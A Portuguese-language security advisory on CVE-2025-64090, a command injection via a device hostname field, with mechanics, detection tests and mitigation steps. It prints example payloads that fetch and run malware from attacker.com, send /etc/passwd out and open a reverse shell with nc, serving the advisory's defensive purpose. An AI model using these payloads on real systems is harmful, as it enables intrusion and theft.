CVE-2025-64090: Injeção de comando via campo de nome de host do dispositivo permite comprometimento total do sistema

Os invasores autenticados podem executar comandos arbitrários do sistema operacional injetando metacaracteres do shell no campo do nome do host do dispositivo. CVSS 10.0. Uma classe de vulnerabilidade comum em dispositivos de rede e sistemas embarcados que produz impacto crítico de forma consistente.

O que é CVE-2025-64090?

CVE-2025-64090 é uma vulnerabilidade de injeção de comando em que o campo de configuração do nome do host do dispositivo é passado sem sanitização para um comando shell subjacente. Inserindo metacaracteres de shell (;, |, `, $()) no valor do nome do host, os invasores autenticados podem sair do contexto de comando pretendido e executar comandos arbitrários do sistema operacional com os privilégios do processo de gerenciamento do dispositivo – normalmente root.

Esta classe de vulnerabilidade é endêmica em dispositivos de rede, hardware IoT, roteadores, firewalls e sistemas Linux incorporados, onde interfaces de gerenciamento baseadas na Web criam comandos shell a partir de valores de configuração fornecidos pelo usuário sem a sanitização adequada.

Mecânica de injeção de comando

# Vulnerable device sets hostname using shell command:
# system("hostname " + user_input)

# Attacker submits hostname:
newhost; wget http://attacker.com/malware.sh -O /tmp/m.sh; sh /tmp/m.sh

# This executes as:
hostname newhost; wget http://attacker.com/malware.sh -O /tmp/m.sh; sh /tmp/m.sh

# Other injection patterns:
# Backtick execution:
`curl http://attacker.com/$(cat /etc/passwd | base64)`

# Subshell:
$(id > /var/www/html/pwned.txt)

# Pipe:
validhost | nc attacker.com 4444 -e /bin/sh

Versões afetadas

Consulte o comunicado do fornecedor para modelos de hardware e versões de firmware específicos. Dispositivos de rede com interfaces de gerenciamento baseadas na Web que expõem a configuração do nome do host são a principal superfície de risco.

Métodos de detecção

Teste para injeção de nome de host

# Manual test: submit hostname with command injection payload
# Use time-delay to confirm blind injection
POST /admin/network/hostname
hostname=test%3Bsleep%205

# If response delays ~5 seconds: vulnerable

# Out-of-band confirmation:
hostname=test%3Bnslookup+attacker.burpcollaborator.net

Etapas de mitigação

1. Aplicar atualização de firmware do fornecedor imediatamente.
2. Validação de entrada: Os campos de nome de host devem aceitar apenas caracteres alfanuméricos e hifens (compatível com RFC 952/1123).
3. Use APIs seguras: Substitua a construção do comando shell por chamadas de sistema que aceitem listas de argumentos (sem interpolação shell).
4. Restringir interface de gerenciamento: Limite o acesso à UI de gerenciamento a intervalos de IP confiáveis ​​por meio de regras de firewall.
5. Alterar credenciais padrão: Certifique-se de que todas as contas de gerenciamento usem senhas fortes e exclusivas.
6. Segmentação de rede: Isole interfaces de gerenciamento de redes acessíveis ao usuário.